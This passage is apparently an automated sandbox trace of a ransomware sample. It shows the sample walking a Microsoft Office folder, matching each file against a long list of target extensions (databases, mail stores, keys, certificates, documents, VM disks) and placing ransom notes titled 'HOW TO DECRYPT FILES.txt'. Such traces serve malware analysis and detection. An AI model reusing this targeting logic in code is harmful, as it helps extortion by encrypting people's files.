Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.accdb") returned 0 [0065.135] lstrlenA (lpString="*.accdb") returned 7 [0065.135] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.odb") returned 0 [0065.135] lstrlenA (lpString="*.odb") returned 5 [0065.135] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.java") returned 0 [0065.135] lstrlenA (lpString="*.java") returned 6 [0065.135] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.asm") returned 0 [0065.135] lstrlenA (lpString="*.asm") returned 5 [0065.135] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.pfx") returned 0 [0065.135] lstrlenA (lpString="*.pfx") returned 5 [0065.135] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.pem") returned 0 [0065.135] lstrlenA (lpString="*.pem") returned 5 [0065.135] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.p12") returned 0 [0065.135] lstrlenA (lpString="*.p12") returned 5 [0065.135] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.gpg") returned 0 [0065.135] lstrlenA (lpString="*.gpg") returned 5 [0065.135] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.vsd") returned 0 [0065.136] lstrlenA (lpString="*.vsd") returned 5 [0065.136] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.odg") returned 0 [0065.136] lstrlenA (lpString="*.odg") returned 5 [0065.136] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.raw") returned 0 [0065.136] lstrlenA (lpString="*.raw") returned 5 [0065.136] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.nef") returned 0 [0065.136] lstrlenA (lpString="*.nef") returned 5 [0065.136] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.svg") returned 0 [0065.136] lstrlenA (lpString="*.svg") returned 5 [0065.136] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.psd") returned 0 [0065.136] lstrlenA (lpString="*.psd") returned 5 [0065.136] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.vmx") returned 0 [0065.136] lstrlenA (lpString="*.vmx") returned 5 [0065.136] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.vmdk") returned 0 [0065.136] lstrlenA (lpString="*.vmdk") returned 6 [0065.136] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.vdi") returned 0 [0065.136] lstrlenA (lpString="*.vdi") returned 5 [0065.136] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.lay6") returned 0 [0065.136] lstrlenA (lpString="*.lay6") returned 6 [0065.136] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.mpeg") returned 0 [0065.136] lstrlenA (lpString="*.mpeg") returned 6 [0065.136] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.djvu") returned 0 [0065.136] lstrlenA (lpString="*.djvu") returned 6 [0065.136] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.tiff") returned 0 [0065.136] lstrlenA (lpString="*.tiff") returned 6 [0065.136] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.backup") returned 0 [0065.137] lstrlenA (lpString="*.backup") returned 8 [0065.137] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.pdf") returned 0 [0065.137] lstrlenA (lpString="*.pdf") returned 5 [0065.137] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.cert") returned 0 [0065.137] lstrlenA (lpString="*.cert") returned 6 [0065.137] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.docm") returned 0 [0065.137] lstrlenA (lpString="*.docm") returned 6 [0065.137] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.xlsm") returned 0 [0065.137] lstrlenA (lpString="*.xlsm") returned 6 [0065.137] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.dwg") returned 0 [0065.137] lstrlenA (lpString="*.dwg") returned 5 [0065.137] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.nd") returned 0 [0065.137] lstrlenA (lpString="*.nd") returned 4 [0065.137] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.tlg") returned 0 [0065.137] lstrlenA (lpString="*.tlg") returned 5 [0065.137] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.lgb") returned 0 [0065.137] lstrlenA (lpString="*.lgb") returned 5 [0065.137] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.mov") returned 0 [0065.137] lstrlenA (lpString="*.mov") returned 5 [0065.137] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.xdw") returned 0 [0065.137] lstrlenA (lpString="*.xdw") returned 5 [0065.137] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.ods") returned 0 [0065.137] lstrlenA (lpString="*.ods") returned 5 [0065.137] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.wav") returned 0 [0065.137] lstrlenA (lpString="*.wav") returned 5 [0065.137] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.mp3") returned 0 [0065.138] lstrlenA (lpString="*.mp3") returned 5 [0065.138] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.aiff") returned 0 [0065.138] lstrlenA (lpString="*.aiff") returned 6 [0065.138] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.flac") returned 0 [0065.138] lstrlenA (lpString="*.flac") returned 6 [0065.138] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.m4a") returned 0 [0065.138] lstrlenA (lpString="*.m4a") returned 5 [0065.138] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF", pszSpec="*.csv") returned 0 [0065.138] lstrlenA (lpString="*.csv") returned 5 [0065.138] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x418f4a00, ftCreationTime.dwHighDateTime=0x1c9fe9d, ftLastAccessTime.dwLowDateTime=0x582abeb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x418f4a00, ftLastWriteTime.dwHighDateTime=0x1c9fe9d, nFileSizeHigh=0x0, nFileSizeLow=0x30074, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="macroprogress.gif", cAlternateFileName="MACROP~1.GIF")) returned 1 [0065.138] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0065.138] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="macroprogress.gif") returned -1 [0065.138] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="macroprogress.gif") returned -1 [0065.138] lstrcmpiA (lpString1="", lpString2="macroprogress.gif") returned -1 [0065.138] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF") returned="LAUNCH.GIF" [0065.138] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" [0065.138] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\") returned="" [0065.138] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt" [0065.138] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\how to decrypt files.txt")) returned 0x20 [0065.138] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\", lpString2="macroprogress.gif" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif" [0065.139] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.ems") returned 0 [0065.139] lstrlenA (lpString="*.ems") returned 5 [0065.139] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.db") returned 0 [0065.139] lstrlenA (lpString="*.db") returned 4 [0065.139] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.dbf") returned 0 [0065.139] lstrlenA (lpString="*.dbf") returned 5 [0065.139] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.myox") returned 0 [0065.139] lstrlenA (lpString="*.myox") returned 6 [0065.139] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.myo") returned 0 [0065.139] lstrlenA (lpString="*.myo") returned 5 [0065.139] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.qbw") returned 0 [0065.139] lstrlenA (lpString="*.qbw") returned 5 [0065.139] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.qbb") returned 0 [0065.139] lstrlenA (lpString="*.qbb") returned 5 [0065.139] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.qbm") returned 0 [0065.139] lstrlenA (lpString="*.qbm") returned 5 [0065.139] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.qbo") returned 0 [0065.139] lstrlenA (lpString="*.qbo") returned 5 [0065.139] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.qbx") returned 0 [0065.139] lstrlenA (lpString="*.qbx") returned 5 [0065.139] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.qba") returned 0 [0065.139] lstrlenA (lpString="*.qba") returned 5 [0065.139] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.qby") returned 0 [0065.139] lstrlenA (lpString="*.qby") returned 5 [0065.139] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.qbj") returned 0 [0065.139] lstrlenA (lpString="*.qbj") returned 5 [0065.140] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.ofx") returned 0 [0065.140] lstrlenA (lpString="*.ofx") returned 5 [0065.140] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.qif") returned 0 [0065.140] lstrlenA (lpString="*.qif") returned 5 [0065.140] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.mye") returned 0 [0065.140] lstrlenA (lpString="*.mye") returned 5 [0065.140] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.mbox") returned 0 [0065.140] lstrlenA (lpString="*.mbox") returned 6 [0065.140] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.eml") returned 0 [0065.140] lstrlenA (lpString="*.eml") returned 5 [0065.140] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.pst") returned 0 [0065.140] lstrlenA (lpString="*.pst") returned 5 [0065.140] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.ost") returned 0 [0065.140] lstrlenA (lpString="*.ost") returned 5 [0065.140] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.idx") returned 0 [0065.140] lstrlenA (lpString="*.idx") returned 5 [0065.140] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.dbx") returned 0 [0065.140] lstrlenA (lpString="*.dbx") returned 5 [0065.140] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.sql") returned 0 [0065.140] lstrlenA (lpString="*.sql") returned 5 [0065.140] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.mdb") returned 0 [0065.140] lstrlenA (lpString="*.mdb") returned 5 [0065.140] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.fdb") returned 0 [0065.141] lstrlenA (lpString="*.fdb") returned 5 [0065.141] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.wab") returned 0 [0065.141] lstrlenA (lpString="*.wab") returned 5 [0065.141] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.dat") returned 0 [0065.141] lstrlenA (lpString="*.dat") returned 5 [0065.141] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.txt") returned 0 [0065.141] lstrlenA (lpString="*.txt") returned 5 [0065.141] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.jpeg") returned 0 [0065.141] lstrlenA (lpString="*.jpeg") returned 6 [0065.141] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.jpg") returned 0 [0065.141] lstrlenA (lpString="*.jpg") returned 5 [0065.141] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.png") returned 0 [0065.141] lstrlenA (lpString="*.png") returned 5 [0065.141] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.php") returned 0 [0065.141] lstrlenA (lpString="*.php") returned 5 [0065.141] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.cs") returned 0 [0065.141] lstrlenA (lpString="*.cs") returned 4 [0065.141] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.cpp") returned 0 [0065.145] lstrlenA (lpString="*.cpp") returned 5 [0065.145] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.rar") returned 0 [0065.145] lstrlenA (lpString="*.rar") returned 5 [0065.145] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.zip") returned 0 [0065.145] lstrlenA (lpString="*.zip") returned 5 [0065.145] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.html") returned 0 [0065.145] lstrlenA (lpString="*.html") returned 6 [0065.145] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.htm") returned 0 [0065.145] lstrlenA (lpString="*.htm") returned 5 [0065.145] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.xlsx") returned 0 [0065.145] lstrlenA (lpString="*.xlsx") returned 6 [0065.145] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.xls") returned 0 [0065.145] lstrlenA (lpString="*.xls") returned 5 [0065.145] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.mp4") returned 0 [0065.145] lstrlenA (lpString="*.mp4") returned 5 [0065.146] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.ppt") returned 0 [0065.146] lstrlenA (lpString="*.ppt") returned 5 [0065.146] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.pptx") returned 0 [0065.146] lstrlenA (lpString="*.pptx") returned 6 [0065.146] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.doc") returned 0 [0065.146] lstrlenA (lpString="*.doc") returned 5 [0065.146] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.dot") returned 0 [0065.146] lstrlenA (lpString="*.dot") returned 5 [0065.146] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.docx") returned 0 [0065.146] lstrlenA (lpString="*.docx") returned 6 [0065.146] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.7z") returned 0 [0065.146] lstrlenA (lpString="*.7z") returned 4 [0065.146] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.tar") returned 0 [0065.146] lstrlenA (lpString="*.tar") returned 5 [0065.146] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.bz2") returned 0 [0065.146] lstrlenA (lpString="*.bz2") returned 5 [0065.146] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.gz") returned 0 [0065.146] lstrlenA (lpString="*.gz") returned 4 [0065.146] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.mkv") returned 0 [0065.146] lstrlenA (lpString="*.mkv") returned 5 [0065.146] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.eml") returned 0 [0065.146] lstrlenA (lpString="*.eml") returned 5 [0065.146] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.msg") returned 0 [0065.147] lstrlenA (lpString="*.msg") returned 5 [0065.147] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.edb") returned 0 [0065.147] lstrlenA (lpString="*.edb") returned 5 [0065.147] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.accdb") returned 0 [0065.147] lstrlenA (lpString="*.accdb") returned 7 [0065.147] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.odb") returned 0 [0065.147] lstrlenA (lpString="*.odb") returned 5 [0065.147] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.java") returned 0 [0065.147] lstrlenA (lpString="*.java") returned 6 [0065.147] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.asm") returned 0 [0065.147] lstrlenA (lpString="*.asm") returned 5 [0065.147] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.pfx") returned 0 [0065.147] lstrlenA (lpString="*.pfx") returned 5 [0065.147] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.pem") returned 0 [0065.147] lstrlenA (lpString="*.pem") returned 5 [0065.147] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.p12") returned 0 [0065.147] lstrlenA (lpString="*.p12") returned 5 [0065.147] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.gpg") returned 0 [0065.147] lstrlenA (lpString="*.gpg") returned 5 [0065.147] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.vsd") returned 0 [0065.147] lstrlenA (lpString="*.vsd") returned 5 [0065.147] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.odg") returned 0 [0065.147] lstrlenA (lpString="*.odg") returned 5 [0065.148] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.raw") returned 0 [0065.148] lstrlenA (lpString="*.raw") returned 5 [0065.148] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.nef") returned 0 [0065.148] lstrlenA (lpString="*.nef") returned 5 [0065.148] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.svg") returned 0 [0065.148] lstrlenA (lpString="*.svg") returned 5 [0065.148] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.psd") returned 0 [0065.148] lstrlenA (lpString="*.psd") returned 5 [0065.148] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft 